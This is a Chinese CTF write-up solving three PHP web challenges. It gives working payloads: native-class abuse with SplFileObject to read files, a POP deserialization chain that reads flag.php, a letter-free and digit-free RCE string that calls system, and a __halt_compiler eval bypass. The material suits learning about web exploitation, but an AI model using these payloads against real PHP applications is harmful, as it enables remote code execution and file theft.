某训练营web题

前言

六道web四道零解,还有一道到比赛最后才有一个人做出来,真的属实有点难绷,正好我把那些附件都保存了,现在来做做。

Primitive php(19解)

题目源码:

<?php
highlight_file(_FILE__);
//hint.php
foreach($_GET as $value){
    if(preg_match("/flag/" , $value)){
     	die("不可以看flag啦,阿sir") ;
     	}
}
    $a = new $_GET['class1']($_GET['a']);$b = new $_GET['class2']($_GET['b']);
    if($a !==$b and md5($a)===md5($b)){
    	echo new $_GET['class3']($_GET['c’]);
    }

刚看的时候有点懵,这怎么啥类都没有就直接开new了,没搞懂这题啥意思,然后去做misc了,后面回来看的时候看标题想到这不就考的是php的原生类,然后就做出来了。

它当时提示看hint.php,但hint里啥也没有,所以关注主页的源码,其实就是个简单的过滤,限制不能出现flag,让我们不能直接读取flag.php。然后$a和$b不一样md5却一样,可以想到原生类里的Error扔报错,然后进入if之后用SplFileObject读文件即可:

?class1=Error&a="payload",1&class2=Error&b="payload",1&class3=SplFileObject&c=php
://filter/convert.base64-encode/resource=hint.php

因为我没找到啥直接读取flag.php或者命令执行的方法,所以读取了那个hint.php的源码,发现是一个pop:

<?php
echo "no hint";
class blue
{
    public $b1;
    public $b2;

    function eval() {
        echo new $this->b1($this->b2);
    }

    public function __invoke()
    {
        $this->b1->blue();
    }
}

class red
{
    public $r1;

    public function __destruct()
    {
        echo $this->r1 . '0xff0000';
    }

    public function execute()
    {
        ($this->r1)();

    }

    public function __call($a, $b)
    {
        echo $this->r1->getFlag();
    }

}

class white
{
    public $w;

    public function __toString()
    {
        $this->w->execute();
        return 'hello';
    }
}
class color
{
    public $c1;

    public function execute()
    {
        ($this->c1)();
    }

    public function getFlag()
    {
         echo file_get_contents($this->c1);
    }

}

unserialize($_POST['cmd']);
?>

可以参考我之前写的pop一命通关,写出那个读取文件的pop链应该是不难的,因为没被使用的方法很多,个人认为直接命令执行应该也是能写出来的,我这里就不写那个复杂的方法了。

red::__destruct()
↓↓↓
white::__toString()
↓↓↓
color::execute()
↓↓↓
blue::__invoke()
↓↓↓
red::__call($a, $b)
↓↓↓
color::getFlag()
<?php

class blue
{
    public $b1;
    public $b2;

    public function __invoke()
    {

    }
}

class red
{
    public $r1;

    public function __destruct()
    {

    }

    public function __call($a, $b)
    {

    }
}

class white
{
    public $w;

    public function __toString()
    {

    }
}
class color
{
    public $c1;

}
$bl=new blue;
$re=new red();
$wh=new white();
$co=new color();
$co2 = new color();
$re2 = new red();
$re3 = new red();


$re->r1=$wh;
$wh->w=$co;
$co->c1=$bl;
$bl->b1 = $re3;
$co2->c1="./flag.php";#./是绝对路径的意思,这里的赋值就是确定file_get_contents读取的文件
$re3->r1=$co2;

echo serialize($re);
#O:3:"red":1:{s:2:"r1";O:5:"white":1:{s:1:"w";O:5:"color":1:{s:2:"c1";O:4:"blue":2:{s:2:"b1";O:3:"red":1:{s:2:"r1";O:5:"color":1:{s:2:"c1";s:10:"./flag.php";}}s:2:"b2";N;}}}}

easycode(1解)

<?php
error_reporting(0) ;
highlight_file(_FILE__);

function count_string_char($str) {
	$arr =[];
	foreach(str_split($str) as $value){
		if(!in_array($value, $arr)){
			array_push($arr,$value) ;
		}
	}
	return sizeof ($arr) ;
}

if(isset($_POST[’cmd']) && is_string($_POST[’cmd'])){
	$cmd= $_POST['cmd'];
	$c=count_string_char($cmd) ;
	if($c >13){
		die("$ctoo long");
		}
	if( preg_match('/[a-z0-9]|<|>|\\?|\\[|\\]|\\*|@|\\||\\^|~|&|\s/i',$cmd) ) {
		die("nonono") ;
		}
	eval ("print ($cmd);");
}else{
exit() ;
}

简单分析一下,过滤了字母数字?[]*@^~|<>&和空格,而这个count_string_char的作用是判断payload里有多少个不同的字符,比如system就是5,而dog_就是4,我们先来构造一下payload:

$__=++$____;  #$__=1
--$__;  #0
$____=((_/_).''){$__}; #(_/_).''=NAN,然后用{$__}取了它的第一位,也就是N,所以$____=N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________{_}($$_________{__};); #$_POST{_}($_POST{__};)

这只是最基本的版本,只要再稍微处理一下我们就可以传值执行命令了。我觉得这个构造最大的难点就是要知道可以用{}代替[],而我在看了平师傅的payload之前是不知道的,然后就是用$__=++$____;这种形式构造出数字1出来,接下来的操作就是经典的无字母数字RCE的构造了。

然后要注意一下,题目的源码的位置是:

eval("print ($cmd);");

所以我们要用_);拼接一些前面的部分,然后再把后面那个”)利用上,最后我们的payload为:

_);$__=++$____;–$__;$____=((_/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$_________;$$_________{_}($$_________{__}

在实际环境中也就是:

eval(“print (_);$_=++$____;–$__;$____=((_/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$________;$$_________{_}($$________{__});”);#eval(“print (_);$_POST{_}($_POST{__});”)

注意把它url编码一下,最后可以直接POST执行命令的payload为:

cmd=_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24_____%3D%2B%2B%24____%3B%2B%2B%24____%3B%24______%3D%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%7B_%7D(%24%24_________%7B__%7D&_=system&__=dir

ez_php(0解)

<?php
error_reporting(0);
if(isset($_GET['hillstone'])){
$hillstone = $_GET['hillstone'];
$code = preg_replace('/[A-Za-z_]+\(+|\)/','',$hillstone);
if('hillstone' === preg_replace('/;+/','hillstone',$code)){
    eval($hillstone.'hillstone!');
}else{
    echo '???';
}
}
highlight_file(__FILE__);
?> 

pregreplace(‘/[A-Za-z_]+(+|)/’,”,$hillstone)的作用其实就是让我们只能无参数rce,但问题在于我们的语句后面跟了一个’hillstone!’,它以感叹号结尾让我们的php语句根本没法执行,最后胡杨去翻php的官方文档,翻了好久,发现 __halt_compiler()能把eval里的hillstone终止渲染,这样就能让我们正常执行前面的语句。然后问题又来到了如何通过无参数的函数执行命令,通过参考大佬的教程,找到了用eval(end(current(get_defined_vars())))加传参的方式执行命令,最后payload为:

?hillstone=eval(end(current(get_defined_vars())));__halt_compiler();&m=system("dir");

本地可以打通:

但当时比赛的环境有非常庞大的disable_function,这样通不了。后面想的是写马连蚁剑用它那里面的bypass插件绕,但赛后趁着环境还在线的时候试了一下,没连上去,可能这种做法还是有点小问题。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇